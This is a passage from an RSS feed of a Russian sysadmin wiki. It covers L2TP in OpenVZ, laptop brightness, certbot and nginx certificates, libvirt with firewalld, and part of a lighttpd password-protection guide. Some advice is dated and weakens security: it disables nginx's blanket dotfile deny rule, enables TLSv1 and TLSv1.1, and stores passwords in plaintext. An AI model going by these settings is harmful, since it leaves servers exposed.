&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0432\u0441\u0435\u0433\u043e USB-\u0445\u043e\u0441\u0442\u0430 \u043a \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u043a\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435_\u0432\u0441\u0435\u0433\u043e_usb-\u0445\u043e\u0441\u0442\u0430_\u043a_\u0432\u0438\u0440\u0442\u0443\u0430\u043b\u043a\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;3497-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Sat, 12 Mar 2022 06:41:08 +0000</pubDate>
        </item>
        <item>
            <title>l2tp_server_in_openvz_container</title>
            <link>https://wiki.autosys.tk/linux_faq/l2tp_server_in_openvz_container</link>
            <description>
&lt;p&gt;
Прежде всего загрузим необходимые модули:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;modprobe af_key &amp;amp;&amp;amp; modprobe esp4 &amp;amp;&amp;amp; modprobe esp6 &amp;amp;&amp;amp; modprobe xfrm4_mode_tunnel &amp;amp;&amp;amp; modprobe xfrm6_mode_tunnel &amp;amp;&amp;amp; modprobe ppp_async &amp;amp;&amp;amp; modprobe pppol2tp &amp;amp;&amp;amp; modprobe xfrm_ipcomp&lt;/pre&gt;

&lt;p&gt;
активируем возможность &lt;strong&gt;net_admin&lt;/strong&gt; для контейнера и дадим контейнеру &lt;strong&gt;ppp&lt;/strong&gt; устройство для работы, как указано в подсказке от разработчиков. На хосте &lt;strong&gt;OpenVZ&lt;/strong&gt; выполняем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;vzctl set CTID --capability net_admin:on --save
vzctl set CTID --devices c:108:0:rw --save
vzctl restart CTID&lt;/pre&gt;

&lt;p&gt;
Тут &lt;strong&gt;CTID&lt;/strong&gt; - это ID контейнера.
&lt;/p&gt;

&lt;p&gt;
Внутри контейнера создаем &lt;strong&gt;ppp&lt;/strong&gt; устройство и выставляет корректные права доступа к нему:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mknod /dev/ppp c 108 0
chmod 600 /dev/ppp&lt;/pre&gt;

&lt;p&gt;
Внутри контейнера в качестве ipsec демона будем использовать openswan, а в качестве l2tp сервера стандартный xl2tpd из репозиториев:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;apt-get install openswan xl2tpd&lt;/pre&gt;

&lt;p&gt;
При установке openswan на вопрос &lt;strong&gt;Use an X.509 certificate for this host?&lt;/strong&gt; отвечаем &lt;strong&gt;n&lt;/strong&gt;
&lt;/p&gt;
&lt;hr /&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;проблема&quot;&gt;Проблема&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
вот еще одно решение:
&lt;a href=&quot;http://linuxworldweb.blogspot.ru/2012/04/enable-iptable-nat-support-on-openvz.html&quot; class=&quot;urlextern&quot; title=&quot;http://linuxworldweb.blogspot.ru/2012/04/enable-iptable-nat-support-on-openvz.html&quot; rel=&quot;ugc nofollow&quot;&gt;http://linuxworldweb.blogspot.ru/2012/04/enable-iptable-nat-support-on-openvz.html&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
&lt;strong&gt;iptables v1.4.14: can&amp;#039;t initialize iptables table `nat&amp;#039;: Table does not exist (do you need to insmod?)
&lt;/strong&gt;
&lt;/p&gt;

&lt;p&gt;
1. IPTABLES parameter in /etc/vz/vz.conf
added iptable_nat 
&lt;/p&gt;

&lt;p&gt;
2. /etc/sysconfig/iptables-config
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;IPTABLES_MODULES=&amp;quot;iptable_filter iptable_mangle iptable_nat&amp;quot;&lt;/pre&gt;

&lt;p&gt;
3. Check the following to see if it&amp;#039;s an Openvz issue:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cat /sys/module/nf_conntrack/parameters/ip_conntrack_disable_ve0
1&lt;/pre&gt;

&lt;p&gt;
If your result is a 1 then you need to do the following to solve it:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;vi /etc/modprobe.d/openvz.conf&lt;/pre&gt;

&lt;p&gt;
change :
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;options nf_conntrack ip_conntrack_disable_ve0=1&lt;/pre&gt;

&lt;p&gt;
to:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;options nf_conntrack ip_conntrack_disable_ve0=0&lt;/pre&gt;

&lt;p&gt;
первые два изменения результата не принесли. После последних правок nat появилась на хосте, но не контейнерах.
&lt;/p&gt;

&lt;p&gt;
а вот после 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;vzctl set CTID --netfilter full --save&lt;/pre&gt;

&lt;p&gt;
таблица NAT появилась и в контейнерах.
&lt;/p&gt;
&lt;hr /&gt;

&lt;p&gt;
Если появляется сообщение - &lt;strong&gt;NETKEY:  Testing XFRM related proc values  [FAILED]&lt;/strong&gt; Значит в контейнере надо выполнить:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;for f in /proc/sys/net/ipv4/conf/*/send_redirects; do echo 0 &amp;gt; $f; done 
for f in /proc/sys/net/ipv4/conf/*/accept_redirects; do echo 0 &amp;gt; $f; done&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1404-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>laptop_brightness_troubleshooting</title>
            <link>https://wiki.autosys.tk/linux_faq/laptop_brightness_troubleshooting</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;xfce_-_не_работают_кнопки_яркости_на_ноуте_asus_на_amd_ryzen&quot;&gt;XFCE - не работают кнопки яркости на ноуте Asus на AMD Ryzen&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
В моем случае - проблема оказалась в параметрах ядра и в том, что модуль &lt;strong&gt;amdpgu&lt;/strong&gt; был помещен в &lt;strong&gt;blacklist&lt;/strong&gt;. &lt;br/&gt;

Во-первых надо проверить с помощью 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;lsmod | grep amdgpu&lt;/pre&gt;

&lt;p&gt;
 что модуль загружен, а если нет, то проверить, что его нет в списках blacklist: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;grep -ir amdgpu /etc/modprobe.d/ | grep blacklist&lt;/pre&gt;

&lt;p&gt;
C параметрами ядра - у меня мешался параметр &lt;strong&gt;splash&lt;/strong&gt;. Немного подробнее. Изначально были два стандартных параметра:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;quiet splash&lt;/pre&gt;

&lt;p&gt;
 однако, после переноса системы на новый ноут, с этими параметрами перестало корректно отображаться поле ввода пароля зашифрованного диска.&lt;br/&gt;

Для решения этой проблемы был добавлен параметр &lt;strong&gt;nomodeset&lt;/strong&gt; и поле для пароля стало нормально появляться, однако, перестала регулироваться яркость. &lt;br/&gt;

В итоге - все корректно работает (и пароль и яркость), если оставить только 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;quiet&lt;/pre&gt;

&lt;p&gt;
без
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;splash nomodeset&lt;/pre&gt;

&lt;p&gt;
Галка &lt;strong&gt;Handle Display Brightness Keys&lt;/strong&gt; в настройках &lt;strong&gt;Power Manager&lt;/strong&gt; установлена. 
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;XFCE - \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043a\u043d\u043e\u043f\u043a\u0438 \u044f\u0440\u043a\u043e\u0441\u0442\u0438 \u043d\u0430 \u043d\u043e\u0443\u0442\u0435 Asus \u043d\u0430 AMD Ryzen&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;xfce_-_\u043d\u0435_\u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442_\u043a\u043d\u043e\u043f\u043a\u0438_\u044f\u0440\u043a\u043e\u0441\u0442\u0438_\u043d\u0430_\u043d\u043e\u0443\u0442\u0435_asus_\u043d\u0430_amd_ryzen&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-1646&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;проблемы_с_регулировкой_яркости_на_ноутах&quot;&gt;Проблемы с регулировкой яркости на ноутах&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Поведением кнопочек на клаве, которые регулируют яркость, можно управлять с помощью некоторых параметров ядра:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;acpi_backlight=vendor

acpi_backlight=native

acpi_backlight=video                       - появился /sys/class/backlight/, но при изменении яркости ведет себя как при подключении дисплея
amdgpu.backlight=0 acpi_backlight=video    - появился /sys/class/backlight/, но при изменении яркости ведет себя как при подключении дисплея
amdgpu.backlight=1 acpi_backlight=video	   - появился /sys/class/backlight/, но при изменении яркости ведет себя как при подключении дисплея		

amdgpu.backlight=1 acpi_backlight=vendor   - не работает. /sys/class/backlight/ - пустой
amdgpu.backlight=0 acpi_backlight=vendor   - не работает. /sys/class/backlight/ - пустой

amdgpu.backlight=1 acpi_backlight=native   - не работает. /sys/class/backlight/ - пустой
amdgpu.backlight=0 acpi_backlight=native   - не работает. /sys/class/backlight/ - пустой

amdgpu.backlight=0 - не работает
amdgpu.backlight=1 - не работает. /sys/class/backlight/ - пустой&lt;/pre&gt;

&lt;p&gt;
А также системных демонов. &lt;br/&gt;

на современном XFCE это upower. &lt;br/&gt;

Если при надатии на кнопки яркости вылезает окно Display Settings - нужно снять галку “Handle Display Brightness Keys” в настройках “Power Manager”. &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441 \u0440\u0435\u0433\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u043e\u0439 \u044f\u0440\u043a\u043e\u0441\u0442\u0438 \u043d\u0430 \u043d\u043e\u0443\u0442\u0430\u0445&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b_\u0441_\u0440\u0435\u0433\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u043e\u0439_\u044f\u0440\u043a\u043e\u0441\u0442\u0438_\u043d\u0430_\u043d\u043e\u0443\u0442\u0430\u0445&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:5,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;1647-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Tue, 23 Sep 2025 08:16:11 +0000</pubDate>
        </item>
        <item>
            <title>lets_encrypt_certificates_on_ubuntu</title>
            <link>https://wiki.autosys.tk/linux_faq/lets_encrypt_certificates_on_ubuntu</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;скачиваем_скрипт_certbot-auto&quot;&gt;Скачиваем скрипт certbot-auto&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;wget https://dl.eff.org/certbot-auto
chmod a+x certbot-auto&lt;/pre&gt;

&lt;p&gt;
После этого нужно запустить его и он установит нужные зависимости:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo ./certbot-auto&lt;/pre&gt;

&lt;p&gt;
Теперь осталось положить этот скрипт куда-нибудь в систему, что потом выполнять его через &lt;strong&gt;cron&lt;/strong&gt; для обновления сертификатов:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo cp ./certbot-auto /usr/local/bin/&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u043c \u0441\u043a\u0440\u0438\u043f\u0442 certbot-auto&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u043c_\u0441\u043a\u0440\u0438\u043f\u0442_certbot-auto&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-537&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;настройка_web-сервера&quot;&gt;Настройка web-сервера&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
При получении сертификата скрипт проверяет что мы управляем доменом, на который получаем серт. Для этого он создает на сервере проверочный файл и выдающий сертификат сервер запрашивает этот файл. Для того, чтобы все работало, на web-сервер должен быть сконфигурирован доступ к скрытой директории &lt;strong&gt;/.well-known/acme-challenge/&lt;/strong&gt;. &lt;br/&gt;

В противном случае - скрипт постоянно ругается с ошибкой:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Failed authorization procedure. wiki.autosys.tk (http-01): urn:acme:error:unauthorized :: The client lacks sufficient authorization :: Invalid response from http://wiki.autosys.tk/.well-known/acme-challenge/fsS43RbAQXN2s9rhftKocls_trASu5_7k4nz9kf8CTg&lt;/pre&gt;

&lt;p&gt;
В &lt;strong&gt;nginx&lt;/strong&gt; нужно закомментировать что-то такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;location ~ /\. { deny all;&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 web-\u0441\u0435\u0440\u0432\u0435\u0440\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430_web-\u0441\u0435\u0440\u0432\u0435\u0440\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;538-1639&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;получаем_сертификат_одной_командой&quot;&gt;Получаем сертификат одной командой&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;./certbot-auto certonly --webroot -w /var/www -d wiki.autosys.tk&lt;/pre&gt;

&lt;p&gt;
Сертификаты попадают в папку &lt;strong&gt;/etc/letsencrypt/live/&lt;/strong&gt; &lt;br/&gt;

Если доменов несколько, то команда будет такая:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;./certbot-auto certonly --webroot -w /var/www -d wiki.autosys.tk -d anotherdomain.autosys.tk&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u043e\u0434\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c_\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442_\u043e\u0434\u043d\u043e\u0439_\u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;1640-2053&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;обновляем&quot;&gt;Обновляем&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Проверяем что все обновляется:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;certbot-auto renew --dry-run&lt;/pre&gt;

&lt;p&gt;
Обновляем все сертификаты:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;certbot-auto renew&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041e\u0431\u043d\u043e\u0432\u043b\u044f\u0435\u043c&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0435\u043c&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;2054-2246&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit5&quot; id=&quot;прописываем_сертификаты_в_nginx&quot;&gt;Прописываем сертификаты в nginx&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
В секцию &lt;strong&gt;server&lt;/strong&gt; сервера прописываем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;listen 443 ssl http2;
server_name  server.domain.ru;
ssl_certificate /etc/letsencrypt/live/pgadmin.adspeed.ru/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/pgadmin.adspeed.ru/privkey.pem;
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;  &lt;/pre&gt;

&lt;p&gt;
Тут важно, прописать &lt;strong&gt;fullchain.pem&lt;/strong&gt;, а не &lt;strong&gt;cert.pem&lt;/strong&gt;. Если прописать &lt;strong&gt;cert.pem&lt;/strong&gt;, то не будет работать в некоторых браузерах, в частности - &lt;strong&gt;Chrome&lt;/strong&gt; под &lt;strong&gt;Android&lt;/strong&gt;
&lt;/p&gt;

&lt;p&gt;
И включаем сервер &lt;strong&gt;HTTP&lt;/strong&gt; на 80 порту, который понадобится для обновления сертификатов,а также для перенаправления клиентов, пришедших по &lt;strong&gt;HTTP&lt;/strong&gt; на &lt;strong&gt;HTTPS&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;server {
    listen        80;
    #server_name  server.domain.ru;
    root /var/www/;

    #Enable access to acme files
    location ~ /\.well-known/acme-challenge/ {
        allow all;
        access_log off;
        log_not_found off;
    }
    return 301 https://$host$request_uri;
}&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b \u0432 nginx&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c_\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b_\u0432_nginx&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;2247-3462&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit6&quot; id=&quot;создаем_задачу_в_cron_для_автообновления&quot;&gt;Создаем задачу в cron для автообновления&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Создаем файлик &lt;strong&gt;/etc/cron.weekly/certs_renew&lt;/strong&gt; :
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#! /bin/bash
# renew all lets_encrypt_certs

sed -i &amp;#039;/^\ *return 301 https/ s/^/#/&amp;#039; /etc/nginx/sites-enabled/default
service nginx reload

/usr/bin/certbot renew
sed -i &amp;#039;/^#\ *return 301 https/ s/^#//&amp;#039; /etc/nginx/sites-enabled/default 

service nginx reload
&lt;/pre&gt;

&lt;p&gt;
И делаем его исполняемым:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;chmod a+x /etc/cron.weekly/certs_renew&lt;/pre&gt;

&lt;p&gt;
Скрипт отключает перенаправление с &lt;strong&gt;HTTP&lt;/strong&gt; на &lt;strong&gt;HTTPS&lt;/strong&gt;, перезагружает конфигурацию &lt;strong&gt;nginx&lt;/strong&gt;, обновляет сертификат, включает обратно перенаправление и снова перезагружает конфигурацию &lt;strong&gt;nginx&lt;/strong&gt;. 
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u043e\u0437\u0434\u0430\u0435\u043c \u0437\u0430\u0434\u0430\u0447\u0443 \u0432 cron \u0434\u043b\u044f \u0430\u0432\u0442\u043e\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u043e\u0437\u0434\u0430\u0435\u043c_\u0437\u0430\u0434\u0430\u0447\u0443_\u0432_cron_\u0434\u043b\u044f_\u0430\u0432\u0442\u043e\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:6,&amp;quot;range&amp;quot;:&amp;quot;3463-4310&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit7&quot; id=&quot;ошибки&quot;&gt;Ошибки&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Однажды, в логах я увидел такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Error: couldn&amp;#039;t get currently installed version for /opt/eff.org/certbot/venv/bin/letsencrypt....&lt;/pre&gt;

&lt;p&gt;
Оказалось, задача по обновлению сертов не смогла их обновить. &lt;br/&gt;

Немного погуглив выискалсь такое решение - нужно удалить пару папок с клиентом &lt;strong&gt;certbot&lt;/strong&gt; (из-под пользователя, который устанавливал его):
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo rm -rf /opt/eff.org/certbot/
sudo rm -Rf  ~/.local/share/letsencrypt&lt;/pre&gt;

&lt;p&gt;
и переустановить &lt;strong&gt;certbot&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget https://dl.eff.org/certbot-auto
chmod a+x certbot-auto
sudo ./certbot-auto&lt;/pre&gt;

&lt;p&gt;
А когда установочный скрипт начнет спрашивать про домены - просто остановить его, введя “c”.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041e\u0448\u0438\u0431\u043a\u0438&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043e\u0448\u0438\u0431\u043a\u0438&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:7,&amp;quot;range&amp;quot;:&amp;quot;4311-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Fri, 23 Aug 2019 08:01:36 +0000</pubDate>
        </item>
        <item>
            <title>libvirt_firewalld</title>
            <link>https://wiki.autosys.tk/linux_faq/libvirt_firewalld</link>
            <description>
&lt;p&gt;
После установки &lt;strong&gt;qemu-kvm&lt;/strong&gt; и &lt;strong&gt;libvirt&lt;/strong&gt; на &lt;strong&gt;Ubuntu&lt;/strong&gt; с &lt;strong&gt;firewalld&lt;/strong&gt;
  sudo apt-get install qemu-kvm bridge-utils virt-manager
я попытался создать и запустить виртуальную машину и столкнулся вот с чем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Unable to complete install: &amp;#039;Requested operation is not valid: network &amp;#039;default&amp;#039; is not active&amp;#039;&lt;/pre&gt;

&lt;p&gt;
Легкое гугление указало, что нужно выполнить:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo virsh net-start default&lt;/pre&gt;

&lt;p&gt;
Однако всё оказалось непросто:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;error: Failed to start network default
error: internal error: firewalld is set to use the nftables backend, but the required firewalld &amp;#039;libvirt&amp;#039; zone is missing. Either set the firewalld backend to &amp;#039;iptables&amp;#039;, or ensure that firewalld has a &amp;#039;libvirt&amp;#039; zone by upgrading firewalld to a version supporting rule priorities (0.7.0+) and/or rebuilding libvirt with --with-firewalld-zone&lt;/pre&gt;

&lt;p&gt;
Чтобы все запустилось - надо поменять &lt;strong&gt;backend&lt;/strong&gt; в конфиге &lt;strong&gt;firewalld&lt;/strong&gt; на &lt;strong&gt;iptables&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo sed -i &amp;#039;/FirewallBackend=/s/nftables/iptables/&amp;#039; /etc/firewalld/firewalld.conf&lt;/pre&gt;

&lt;p&gt;
И перезапустить &lt;strong&gt;firewalld&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo service firewalld restart
sudo virsh net-start default&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Thu, 10 Mar 2022 10:31:09 +0000</pubDate>
        </item>
        <item>
            <title>lighttpd-setup-a-password-protected-directory-directories</title>
            <link>https://wiki.autosys.tk/linux_faq/lighttpd-setup-a-password-protected-directory-directories</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;lighttpd_setup_a_password_protected_directory_directories&quot;&gt;Lighttpd setup a password protected directory (directories)&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
If you require authentication on certain directories using the Lighttpd web server, you can use Lighttpd&amp;#039;s mod_auth module. It allows you to protect any directory in web server with access restrictions (just like Apache&amp;#039;s password protected directory) .&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Lighttpd supports both basic and digest authentication methods. Now consider following sample setup:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Domain name: theos.in
    Directory (DocRoot) to protect with a password: /home/lighttpd/theos.in/http/docs
    Username: vivek
    Lighttpd password file: /home/lighttpd/.lighttpdpassword (this file should be outside default http document root)&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Lighttpd setup a password protected directory (directories)&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;lighttpd_setup_a_password_protected_directory_directories&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-696&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit2&quot; id=&quot;how_do_i_use_basic_authentication_method&quot;&gt;How do I use Basic authentication method?&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Easy to implement and password stored in cleartext format using files. If you are going to use this method make sure you use SSL (Secure Socket Layer) connection/encryption.&lt;br/&gt;

Step #1: Open /etc/lighttpd/lighttpd.conf file&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Make sure mod_auth is loaded:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;server.modules += ( &amp;quot;mod_auth&amp;quot; )&lt;/pre&gt;

&lt;p&gt;
Now add following three directives:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;auth.debug = 2
auth.backend = &amp;quot;plain&amp;quot;
auth.backend.plain.userfile = &amp;quot;/home/lighttpd/.lighttpdpassword&amp;quot;&lt;/pre&gt;

&lt;p&gt;
Where,&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
 auth.debug = 2 : Specify debug level (0 turns off debug message, 1 for authentication ok message and 2 for detailed/verbose debugging message). This is useful for troubleshooting authentication problem. It logs message in access.log and error.log files&lt;br/&gt;

 auth.backend = “plain” : You are using plain text backend (other options are ldap, htpasswd and others)&lt;br/&gt;

 auth.backend.plain.userfile = “/home/lighttpd/.lighttpdpassword” : Filename of the username:password storage&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Next, you need specify which directory you want to password protect. For example, consider directory /home/lighttpd/theos.in/http/docs directory. Find out your domains virtual hosting section (theos.in) and append following text:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;auth.require = ( &amp;quot;/docs/&amp;quot; =&amp;gt;
(
